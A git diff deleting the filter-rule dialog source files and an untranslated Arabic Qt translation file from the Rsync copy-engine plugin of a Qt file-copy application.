diff --git a/plugins-alternative/CopyEngine/Rsync/FilterRules.cpp b/plugins-alternative/CopyEngine/Rsync/FilterRules.cpp
deleted file mode 100644
index 0e6ba25..0000000
--- a/plugins-alternative/CopyEngine/Rsync/FilterRules.cpp
+++ /dev/null
@@ -1,193 +0,0 @@
-#include "FilterRules.h"
-#include "ui_FilterRules.h"
-
-#include <QMessageBox>
-
-FilterRules::FilterRules(QWidget *parent) :
- QDialog(parent),
- ui(new Ui::FilterRules)
-{
- ui->setupUi(this);
- updateChecking();
- haveBeenValided=false;
-}
-
-FilterRules::~FilterRules()
-{
- delete ui;
-}
-
-bool FilterRules::getIsValid()
-{
- return isValid && haveBeenValided;
-}
-
-QString FilterRules::get_search_text()
-{
- return ui->search->text();
-}
-
-SearchType FilterRules::get_search_type()
-{
- switch(ui->search_type->currentIndex())
- {
- case 0:
- return SearchType_rawText;
- case 1:
- return SearchType_simpleRegex;
- case 2:
- return SearchType_perlRegex;
- }
- return SearchType_simpleRegex;
-}
-
-ApplyOn FilterRules::get_apply_on()
-{
- switch(ui->apply_on->currentIndex())
- {
- case 0:
- return ApplyOn_file;
- case 1:
- return ApplyOn_fileAndFolder;
- case 2:
- return ApplyOn_folder;
- }
- return ApplyOn_fileAndFolder;
-}
-
-bool FilterRules::get_need_match_all()
-{
- return ui->need_match_all->isChecked();
-}
-
-void FilterRules::set_search_text(QString search_text)
-{
- ui->search->setText(search_text);
-}
-
-void FilterRules::set_search_type(SearchType search_type)
-{
- switch(search_type)
- {
- case SearchType_rawText:
- ui->search_type->setCurrentIndex(0);
- break;
- case SearchType_simpleRegex:
- ui->search_type->setCurrentIndex(1);
- break;
- case SearchType_perlRegex:
- ui->search_type->setCurrentIndex(2);
- break;
- }
-}
-
-void FilterRules::set_apply_on(ApplyOn apply_on)
-{
- switch(apply_on)
- {
- case ApplyOn_file:
- ui->apply_on->setCurrentIndex(0);
- break;
- case ApplyOn_fileAndFolder:
- ui->apply_on->setCurrentIndex(1);
- break;
- case ApplyOn_folder:
- ui->apply_on->setCurrentIndex(2);
- break;
- }
-}
-
-void FilterRules::set_need_match_all(bool need_match_all)
-{
- ui->need_match_all->setChecked(need_match_all);
-}
-
-void FilterRules::on_search_textChanged(const QString &arg1)
-{
- Q_UNUSED(arg1);
- updateChecking();
-}
-
-void FilterRules::updateChecking()
-{
- QRegExp regex;
- isValid=!ui->search->text().isEmpty();
- if(isValid)
- {
- QString tempString;
- if(ui->search_type->currentIndex()==0)
- {
- tempString=QRegExp::escape(ui->search->text());
- if(tempString.contains('/') || tempString.contains('\\'))
- isValid=false;
- }
- else if(ui->search_type->currentIndex()==1)
- {
- tempString=QRegExp::escape(ui->search->text());
- tempString.replace("\\*","[^\\\\/]*");
- }
- else if(ui->search_type->currentIndex()==2)
- {
- tempString=ui->search->text();
- if(tempString.startsWith('^') && tempString.endsWith('$'))
- {
- ui->need_match_all->setChecked(true);
- tempString.remove(QRegExp("^\\^"));
- tempString.remove(QRegExp("\\$$"));
- ui->search->setText(tempString);
- }
- }
- if(isValid)
- {
- if(ui->need_match_all->isChecked())
- tempString="^"+tempString+"$";
- regex=QRegExp(tempString);
- isValid=regex.isValid() && !regex.isEmpty();
- }
- }
-
- ui->isValid->setChecked(isValid);
- ui->testString->setEnabled(isValid);
- ui->label_test_string->setEnabled(isValid);
- ui->matched->setEnabled(isValid);
- ui->matched->setChecked(isValid && ui->testString->text().contains(regex));
- ui->buttonBox->button(QDialogButtonBox::Ok)->setEnabled(isValid);
-}
-
-void FilterRules::on_isValid_clicked()
-{
- updateChecking();
-}
-
-void FilterRules::on_testString_textChanged(const QString &arg1)
-{
- Q_UNUSED(arg1);
- updateChecking();
-}
-
-void FilterRules::on_matched_clicked()
-{
- updateChecking();
-}
-
-void FilterRules::on_search_type_currentIndexChanged(int index)
-{
- Q_UNUSED(index);
- updateChecking();
-}
-
-void FilterRules::on_need_match_all_clicked()
-{
- updateChecking();
-}
-
-void FilterRules::on_buttonBox_clicked(QAbstractButton *button)
-{
- if(ui->buttonBox->buttonRole(button)==QDialogButtonBox::RejectRole)
- reject();
- else
- {
- haveBeenValided=true;
- accept();
- }
-}
diff --git a/plugins-alternative/CopyEngine/Rsync/Filters.cpp b/plugins-alternative/CopyEngine/Rsync/Filters.cpp
deleted file mode 100644
index ce87b52..0000000
--- a/plugins-alternative/CopyEngine/Rsync/Filters.cpp
+++ /dev/null
@@ -1,456 +0,0 @@
-#include "Filters.h"
-#include "ui_Filters.h"
-
-#include <QMessageBox>
-
-Filters::Filters(QWidget *parent) :
- QDialog(parent),
- ui(new Ui::Filters)
-{
- ui->setupUi(this);
-}
-
-Filters::~Filters()
-{
- delete ui;
-}
-
-void Filters::setFilters(QStringList includeStrings,QStringList includeOptions,QStringList excludeStrings,QStringList excludeOptions)
-{
- if(includeStrings.size()!=includeOptions.size() || excludeStrings.size()!=excludeOptions.size())
- return;
- Filters_rules new_item;
-
- include.clear();
- int index=0;
- while(index<includeStrings.size())
- {
- new_item.search_text=includeStrings.at(index);
- QStringList options=includeOptions.at(index).split(";");
- new_item.need_match_all=false;
- new_item.search_type=SearchType_rawText;
- new_item.apply_on=ApplyOn_fileAndFolder;
-
- if(options.contains("SearchType_simpleRegex"))
- new_item.search_type=SearchType_simpleRegex;
- if(options.contains("SearchType_perlRegex"))
- new_item.search_type=SearchType_perlRegex;
- if(options.contains("ApplyOn_file"))
- new_item.apply_on=ApplyOn_file;
- if(options.contains("ApplyOn_folder"))
- new_item.apply_on=ApplyOn_folder;
- if(options.contains("need_match_all"))
- new_item.need_match_all=true;
-
- if(convertToRegex(new_item))
- include << new_item;
-
- index++;
- }
-
- exclude.clear();
- index=0;
- while(index<excludeStrings.size())
- {
- new_item.search_text=excludeStrings.at(index);
- QStringList options=excludeOptions.at(index).split(";");
- new_item.need_match_all=false;
- new_item.search_type=SearchType_rawText;
- new_item.apply_on=ApplyOn_fileAndFolder;
-
- if(options.contains("SearchType_simpleRegex"))
- new_item.search_type=SearchType_simpleRegex;
- if(options.contains("SearchType_perlRegex"))
- new_item.search_type=SearchType_perlRegex;
- if(options.contains("ApplyOn_file"))
- new_item.apply_on=ApplyOn_file;
- if(options.contains("ApplyOn_folder"))
- new_item.apply_on=ApplyOn_folder;
- if(options.contains("need_match_all"))
- new_item.need_match_all=true;
-
- if(convertToRegex(new_item))
- exclude << new_item;
-
- index++;
- }
-
- reShowAll();
-}
-
-void Filters::reShowAll()
-{
- ui->inclusion->clear();
- int index=0;
- while(index<include.size())
- {
- QString entryShow=include.at(index).search_text+" (";
- QStringList optionsToShow;
- switch(include.at(index).search_type)
- {
- case SearchType_rawText:
- optionsToShow << tr("Raw text");
- break;
- case SearchType_simpleRegex:
- optionsToShow << tr("Simplified regex");
- break;
- case SearchType_perlRegex:
- optionsToShow << tr("Perl's regex");
- break;
- default:
- break;
- }
- switch(include.at(index).apply_on)
- {
- case ApplyOn_file:
- optionsToShow << tr("Only on file");
- break;
- case ApplyOn_folder:
- optionsToShow << tr("Only on folder");
- break;
- default:
- break;
- }
- if(include.at(index).need_match_all)
- optionsToShow << tr("Full match");
- entryShow+=optionsToShow.join(",");
- entryShow+=")";
- ui->inclusion->addItem(new QListWidgetItem(entryShow));
- index++;
- }
- ui->exclusion->clear();
- index=0;
- while(index<exclude.size())
- {
- QString entryShow=exclude.at(index).search_text+" (";
- QStringList optionsToShow;
- switch(exclude.at(index).search_type)
- {
- case SearchType_rawText:
- optionsToShow << tr("Raw text");
- break;
- case SearchType_simpleRegex:
- optionsToShow << tr("Simplified regex");
- break;
- case SearchType_perlRegex:
- optionsToShow << tr("Perl's regex");
- break;
- default:
- break;
- }
- switch(exclude.at(index).apply_on)
- {
- case ApplyOn_file:
- optionsToShow << tr("Only on file");
- break;
- case ApplyOn_folder:
- optionsToShow << tr("Only on folder");
- break;
- default:
- break;
- }
- if(exclude.at(index).need_match_all)
- optionsToShow << tr("Full match");
- entryShow+=optionsToShow.join(",");
- entryShow+=")";
- ui->exclusion->addItem(new QListWidgetItem(entryShow));
- index++;
- }
-}
-
-QList<Filters_rules> Filters::getInclude()
-{
- return include;
-}
-
-QList<Filters_rules> Filters::getExclude()
-{
- return exclude;
-}
-
-void Filters::newLanguageLoaded()
-{
- ui->retranslateUi(this);
- reShowAll();
-}
-
-void Filters::haveNewFilters()
-{
- QStringList includeStrings,includeOptions,excludeStrings,excludeOptions;
- int index=0;
- while(index<include.size())
- {
- includeStrings<<include.at(index).search_text;
- QStringList optionsToShow;
-
- switch(include.at(index).search_type)
- {
- case SearchType_rawText:
- optionsToShow << "SearchType_rawText";
- break;
- case SearchType_simpleRegex:
- optionsToShow << "SearchType_simpleRegex";
- break;
- case SearchType_perlRegex:
- optionsToShow << "SearchType_perlRegex";
- break;
- default:
- break;
- }
- switch(include.at(index).apply_on)
- {
- case ApplyOn_file:
- optionsToShow << "ApplyOn_file";
- break;
- case ApplyOn_fileAndFolder:
- optionsToShow << "ApplyOn_fileAndFolder";
- break;
- case ApplyOn_folder:
- optionsToShow << "ApplyOn_folder";
- break;
- default:
- break;
- }
- if(include.at(index).need_match_all)
- optionsToShow << tr("Full match");
- includeOptions<<optionsToShow.join(";");
- index++;
- }
- index=0;
- while(index<exclude.size())
- {
- excludeStrings<<exclude.at(index).search_text;
- QStringList optionsToShow;
-
- switch(exclude.at(index).search_type)
- {
- case SearchType_rawText:
- optionsToShow << "SearchType_rawText";
- break;
- case SearchType_simpleRegex:
- optionsToShow << "SearchType_simpleRegex";
- break;
- case SearchType_perlRegex:
- optionsToShow << "SearchType_perlRegex";
- break;
- default:
- break;
- }
- switch(exclude.at(index).apply_on)
- {
- case ApplyOn_file:
- optionsToShow << "ApplyOn_file";
- break;
- case ApplyOn_fileAndFolder:
- optionsToShow << "ApplyOn_fileAndFolder";
- break;
- case ApplyOn_folder:
- optionsToShow << "ApplyOn_folder";
- break;
- default:
- break;
- }
- if(exclude.at(index).need_match_all)
- optionsToShow << tr("Full match");
- excludeOptions<<optionsToShow.join(";");
- index++;
- }
- emit sendNewFilters(includeStrings,includeOptions,excludeStrings,excludeOptions);
-}
-
-bool Filters::convertToRegex(Filters_rules &item)
-{
- bool isValid=!item.search_text.isEmpty();
- if(isValid)
- {
- QRegExp regex;
- QString tempString;
- if(item.search_type==SearchType_rawText)
- {
- tempString=QRegExp::escape(item.search_text);
- if(tempString.contains('/') || tempString.contains('\\'))
- isValid=false;
- }
- else if(item.search_type==SearchType_simpleRegex)
- {
- tempString=QRegExp::escape(item.search_text);
- tempString.replace("\\*","[^\\\\/]*");
- }
- else if(item.search_type==SearchType_perlRegex)
- {
- tempString=item.search_text;
- if(tempString.startsWith('^') && tempString.endsWith('$'))
- {
- item.need_match_all=true;
- tempString.remove(QRegExp("^\\^"));
- tempString.remove(QRegExp("\\$$"));
- item.search_text=tempString;
- }
- }
- if(isValid)
- {
- if(item.need_match_all==true)
- tempString="^"+tempString+"$";
- regex=QRegExp(tempString);
- isValid=regex.isValid() && !regex.isEmpty();
- item.regex=regex;
- return true;
- }
- else
- return false;
- }
- return false;
-}
-
-void Filters::on_remove_exclusion_clicked()
-{
- bool removedEntry=false;
- int index=0;
- while(index<ui->exclusion->count())
- {
- if(ui->exclusion->item(index)->isSelected())
- {
- delete ui->exclusion->item(index);
- exclude.removeAt(index);
- removedEntry=true;
- }
- else
- index++;
- }
- if(removedEntry)
- {
- reShowAll();
- haveNewFilters();
- }
-}
-
-void Filters::on_remove_inclusion_clicked()
-{
- bool removedEntry=false;
- int index=0;
- while(index<ui->inclusion->count())
- {
- if(ui->inclusion->item(index)->isSelected())
- {
- delete ui->inclusion->item(index);
- include.removeAt(index);
- removedEntry=true;
- }
- else
- index++;
- }
- if(removedEntry)
- {
- reShowAll();
- haveNewFilters();
- }
-}
-
-void Filters::on_add_exclusion_clicked()
-{
- FilterRules dialog(this);
- dialog.exec();
- if(dialog.getIsValid())
- {
- Filters_rules new_item;
- new_item.apply_on=dialog.get_apply_on();
- new_item.need_match_all=dialog.get_need_match_all();
- new_item.search_text=dialog.get_search_text();
- new_item.search_type=dialog.get_search_type();
- exclude << new_item;
- reShowAll();
- haveNewFilters();
- }
-}
-
-void Filters::on_buttonBox_clicked(QAbstractButton *button)
-{
- if(ui->buttonBox->buttonRole(button)==QDialogButtonBox::RejectRole)
- reject();
-}
-
-void Filters::on_add_inclusion_clicked()
-{
- FilterRules dialog(this);
- dialog.exec();
- if(dialog.getIsValid())
- {
- Filters_rules new_item;
- new_item.apply_on=dialog.get_apply_on();
- new_item.need_match_all=dialog.get_need_match_all();
- new_item.search_text=dialog.get_search_text();
- new_item.search_type=dialog.get_search_type();
- if(convertToRegex(new_item))
- include << new_item;
- reShowAll();
- haveNewFilters();
- }
-}
-
-void Filters::on_edit_exclusion_clicked()
-{
- bool editedEntry=false;
- int index=0;
- while(index<ui->exclusion->count())
- {
- if(ui->exclusion->item(index)->isSelected())
- {
- FilterRules dialog(this);
- dialog.set_apply_on(exclude[index].apply_on);
- dialog.set_need_match_all(exclude[index].need_match_all);
- dialog.set_search_text(exclude[index].search_text);
- dialog.set_search_type(exclude[index].search_type);
- dialog.exec();
- if(dialog.getIsValid())
- {
- exclude[index].apply_on=dialog.get_apply_on();
- exclude[index].need_match_all=dialog.get_need_match_all();
- exclude[index].search_text=dialog.get_search_text();
- exclude[index].search_type=dialog.get_search_type();
- if(!convertToRegex(exclude[index]))
- exclude.removeAt(index);
- editedEntry=true;
- }
- }
- index++;
- }
- if(editedEntry)
- {
- reShowAll();
- haveNewFilters();
- }
-}
-
-void Filters::on_edit_inclusion_clicked()
-{
- bool editedEntry=false;
- int index=0;
- while(index<ui->inclusion->count())
- {
- if(ui->inclusion->item(index)->isSelected())
- {
- FilterRules dialog(this);
- dialog.set_apply_on(exclude[index].apply_on);
- dialog.set_need_match_all(exclude[index].need_match_all);
- dialog.set_search_text(exclude[index].search_text);
- dialog.set_search_type(exclude[index].search_type);
- dialog.exec();
- if(dialog.getIsValid())
- {
- exclude[index].apply_on=dialog.get_apply_on();
- exclude[index].need_match_all=dialog.get_need_match_all();
- exclude[index].search_text=dialog.get_search_text();
- exclude[index].search_type=dialog.get_search_type();
- if(!convertToRegex(exclude[index]))
- exclude.removeAt(index);
- editedEntry=true;
- }
- }
- index++;
- }
- if(editedEntry)
- {
- reShowAll();
- haveNewFilters();
- }
-}
diff --git a/plugins-alternative/CopyEngine/Rsync/Filters.h b/plugins-alternative/CopyEngine/Rsync/Filters.h
deleted file mode 100644
index dcdcb36..0000000
--- a/plugins-alternative/CopyEngine/Rsync/Filters.h
+++ /dev/null
@@ -1,44 +0,0 @@
-#ifndef FILTERS_H
-#define FILTERS_H
-
-#include <QDialog>
-#include <QStringList>
-
-#include "FilterRules.h"
-#include "StructEnumDefinition_CopyEngine.h"
-
-namespace Ui {
-class Filters;
-}
-
-/** To add/edit one filter rules */
-class Filters : public QDialog
-{
- Q_OBJECT
-public:
- explicit Filters(QWidget *parent = 0);
- ~Filters();
- void setFilters(QStringList includeStrings,QStringList includeOptions,QStringList excludeStrings,QStringList excludeOptions);
- void reShowAll();
- QList<Filters_rules> getInclude();
- QList<Filters_rules> getExclude();
- void newLanguageLoaded();
-private:
- Ui::Filters *ui;
- QList<Filters_rules> include;
- QList<Filters_rules> exclude;
- void haveNewFilters();
- bool convertToRegex(Filters_rules &item);
-signals:
- void sendNewFilters(QStringList includeStrings,QStringList includeOptions,QStringList excludeStrings,QStringList excludeOptions);
-private slots:
- void on_remove_exclusion_clicked();
- void on_remove_inclusion_clicked();
- void on_add_exclusion_clicked();
- void on_buttonBox_clicked(QAbstractButton *button);
- void on_add_inclusion_clicked();
- void on_edit_exclusion_clicked();
- void on_edit_inclusion_clicked();
-};
-
-#endif // FILTERS_H
diff --git a/plugins-alternative/CopyEngine/Rsync/Languages/ar/translation.ts b/plugins-alternative/CopyEngine/Rsync/Languages/ar/translation.ts
deleted file mode 100644
index 338cb72..0000000
--- a/plugins-alternative/CopyEngine/Rsync/Languages/ar/translation.ts
+++ /dev/null
@@ -1,806 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1199"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1215"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1222"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1231"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1240"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1246"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1293"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1299"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="61"/>
- <location filename="../../RmPath.cpp" line="75"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RmPath.cpp" line="85"/>
- <source>Unable to remove the file</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="312"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="322"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="627"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="260"/>
- <location filename="../../copyEngine.cpp" line="278"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="289"/>
- <location filename="../../copyEngine.cpp" line="307"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="521"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
